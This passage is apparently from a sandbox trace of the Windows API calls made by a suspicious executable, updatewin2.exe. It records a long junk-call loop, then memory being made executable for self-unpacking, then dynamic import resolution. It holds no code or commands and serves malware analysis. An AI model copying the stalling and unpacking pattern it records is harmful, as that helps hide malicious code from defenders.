nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.400] AddAtomA (lpString=0x0) returned 0x0 [0053.400] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.400] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.400] AddAtomA (lpString=0x0) returned 0x0 [0053.400] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.400] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.400] AddAtomA (lpString=0x0) returned 0x0 [0053.401] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.401] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.401] AddAtomA (lpString=0x0) returned 0x0 [0053.401] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.401] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.401] AddAtomA (lpString=0x0) returned 0x0 [0053.401] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.401] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.401] AddAtomA (lpString=0x0) returned 0x0 [0053.401] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.401] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.401] AddAtomA (lpString=0x0) returned 0x0 [0053.401] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.401] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.401] AddAtomA (lpString=0x0) returned 0x0 [0053.401] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.401] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.401] AddAtomA (lpString=0x0) returned 0x0 [0053.401] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.401] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.401] AddAtomA (lpString=0x0) returned 0x0 [0053.401] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.401] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.401] AddAtomA (lpString=0x0) returned 0x0 [0053.401] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.401] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.401] AddAtomA (lpString=0x0) returned 0x0 [0053.401] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.401] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.401] AddAtomA (lpString=0x0) returned 0x0 [0053.401] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.401] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.402] AddAtomA (lpString=0x0) returned 0x0 [0053.402] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.402] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.402] AddAtomA (lpString=0x0) returned 0x0 [0053.402] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.402] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.402] AddAtomA (lpString=0x0) returned 0x0 [0053.402] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.402] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.402] AddAtomA (lpString=0x0) returned 0x0 [0053.402] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.402] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.402] AddAtomA (lpString=0x0) returned 0x0 [0053.402] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.402] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.402] AddAtomA (lpString=0x0) returned 0x0 [0053.402] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.402] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.402] AddAtomA (lpString=0x0) returned 0x0 [0053.402] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.402] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.402] AddAtomA (lpString=0x0) returned 0x0 [0053.402] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.402] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.402] AddAtomA (lpString=0x0) returned 0x0 [0053.402] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.402] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.402] AddAtomA (lpString=0x0) returned 0x0 [0053.402] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.402] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.402] AddAtomA (lpString=0x0) returned 0x0 [0053.402] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.403] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.403] AddAtomA (lpString=0x0) returned 0x0 [0053.403] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.403] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.403] AddAtomA (lpString=0x0) returned 0x0 [0053.403] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.403] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.403] AddAtomA (lpString=0x0) returned 0x0 [0053.403] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.403] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.403] AddAtomA (lpString=0x0) returned 0x0 [0053.403] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.403] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.403] AddAtomA (lpString=0x0) returned 0x0 [0053.403] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.403] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.403] AddAtomA (lpString=0x0) returned 0x0 [0053.403] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.403] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.403] AddAtomA (lpString=0x0) returned 0x0 [0053.403] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.403] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.403] AddAtomA (lpString=0x0) returned 0x0 [0053.403] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.403] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.403] AddAtomA (lpString=0x0) returned 0x0 [0053.403] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.403] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.403] AddAtomA (lpString=0x0) returned 0x0 [0053.403] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.403] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.404] AddAtomA (lpString=0x0) returned 0x0 [0053.404] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.404] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.404] AddAtomA (lpString=0x0) returned 0x0 [0053.404] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.404] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.404] AddAtomA (lpString=0x0) returned 0x0 [0053.404] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.404] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.404] AddAtomA (lpString=0x0) returned 0x0 [0053.404] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.404] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.404] AddAtomA (lpString=0x0) returned 0x0 [0053.404] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.404] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.404] AddAtomA (lpString=0x0) returned 0x0 [0053.404] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.404] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.404] AddAtomA (lpString=0x0) returned 0x0 [0053.404] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.404] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.404] AddAtomA (lpString=0x0) returned 0x0 [0053.404] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.404] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.404] AddAtomA (lpString=0x0) returned 0x0 [0053.404] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.404] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.404] AddAtomA (lpString=0x0) returned 0x0 [0053.404] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.404] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.404] AddAtomA (lpString=0x0) returned 0x0 [0053.404] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.405] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.405] AddAtomA (lpString=0x0) returned 0x0 [0053.405] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.405] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.405] AddAtomA (lpString=0x0) returned 0x0 [0053.405] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.405] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.405] AddAtomA (lpString=0x0) returned 0x0 [0053.405] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.405] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.405] AddAtomA (lpString=0x0) returned 0x0 [0053.405] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.405] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.405] AddAtomA (lpString=0x0) returned 0x0 [0053.405] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.405] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.405] AddAtomA (lpString=0x0) returned 0x0 [0053.405] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.405] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.405] AddAtomA (lpString=0x0) returned 0x0 [0053.405] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.405] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.405] AddAtomA (lpString=0x0) returned 0x0 [0053.405] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.405] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.405] AddAtomA (lpString=0x0) returned 0x0 [0053.405] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.405] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.405] AddAtomA (lpString=0x0) returned 0x0 [0053.405] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.405] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.406] AddAtomA (lpString=0x0) returned 0x0 [0053.406] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.406] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.406] AddAtomA (lpString=0x0) returned 0x0 [0053.406] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.406] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.406] AddAtomA (lpString=0x0) returned 0x0 [0053.406] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.406] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.406] AddAtomA (lpString=0x0) returned 0x0 [0053.406] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.406] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.406] AddAtomA (lpString=0x0) returned 0x0 [0053.406] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.406] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.406] AddAtomA (lpString=0x0) returned 0x0 [0053.406] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.406] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.406] AddAtomA (lpString=0x0) returned 0x0 [0053.406] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.406] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.406] AddAtomA (lpString=0x0) returned 0x0 [0053.406] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.406] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.438] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0053.438] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0053.439] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0053.439] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0053.439] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0053.439] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0053.439] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0053.439] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0053.439] SetErrorMode (uMode=0x400) returned 0x0 [0053.439] SetErrorMode (uMode=0x0) returned 0x400 [0053.439] GetVersionExA (in: lpVersionInformation=0x18e568*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18e568*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0053.439] VirtualAlloc (lpAddress=0x0, dwSize=0x2d800, flAllocationType=0x1000, flProtect=0x4) returned 0x290000 [0053.442] VirtualProtect (in: lpAddress=0x400000, dwSize=0x32000, flNewProtect=0x40, lpflOldProtect=0x18f5f0 | out: lpflOldProtect=0x18f5f0*=0x2) returned 1 [0053.471] VirtualFree (lpAddress=0x290000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.472] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0053.472] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0053.472] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSize") returned 0x76c3196e [0053.472] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointer") returned 0x76c317d1 [0053.472] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0053.472] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0053.484] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0053.484] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0053.484] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0053.484] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0053.484] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0053.484] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0053.484] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0053.484] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0053.484] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0053.484] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0053.484] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0053.485] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0053.485] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0053.485] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0053.485] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0053.485] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0053.485] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0053.485] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0053.485] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0053.485] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0053.485] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0053.485] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0053.485] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0053.485] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSListHead") returned 0x771694a4 [0053.485] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0053.485] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0053.486] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0053.486] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0053.486] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0053.486] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0053.486] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0053.486] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.486] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0053.486] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0053.486] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0053.486] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0053.486] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0053.486] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0053.486] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0053.486] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0053.486] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0053.486] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0053.487] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0053.487] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0053.487] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0053.487] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0053.487] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0053.487] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0053.487] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0053.487] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0053.487] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0053.487] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0053.487] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0053.487] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileExW") returned 0x76c41811 [0053.487] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0053.487] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0053.487] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0053.488] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0053.488] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0053.488] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0053.488] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0053.488] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0053.488] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxA") returned 0x74fafd1e [0053.488] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0053.488] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0053.488] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0053.488] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0053.488] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x74900000 [0053.492] GetProcAddress (hModule=0x74900000, lpProcName="atexit") returned 0x7491c544 [0053.492] atexit (param_1=0x3063d8) returned 0 [0053.492] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f5f4 | out: lpSystemTimeAsFileTime=0x18f5f4*(dwLowDateTime=0x40e8e000, dwHighDateTime=0x1d53dff)) [0053.492] GetCurrentThreadId () returned 0xa44 [0053.492] GetCurrentProcessId () returned 0xa40 [0053.492] QueryPerformanceCounter (in: lpPerformanceCount=0x18f5ec | out: lpPerformanceCount=0x18f5ec*=17371613493) returned 1 [0053.492] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0053.492] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.492] GetLastError () returned 0x57 [0053.492] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.492] GetLastError () returned 0x57 [0053.492] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0053.492] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0053.492] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.492] GetLastError () returned 0x57 [0053.492] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0053.493] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0053.493] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.493] GetLastError () returned 0x57 [0053.493] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.493] GetLastError () returned 0x57 [0053.493] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0053.493] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0053.493] GetProcessHeap () returned 0x2f0000 [0053.493] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.493] GetLastError () returned 0x57 [0053.493] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0053.493] GetLastError () returned 0x57 [0053.493] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0053.493] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0053.493] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x364) returned 0x31ad00 [0053.494] SetLastError (dwErrCode=0x57) [0053.494] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xc00) returned 0x31b070 [0053.495] GetStartupInfoW (in: lpStartupInfo=0x18f528 | out: lpStartupInfo=0x18f528*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4033e0, hStdOutput=0x4a09bac6, hStdError=0xfffffffe)) [0053.495] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0053.495] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0053.495] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0053.495] 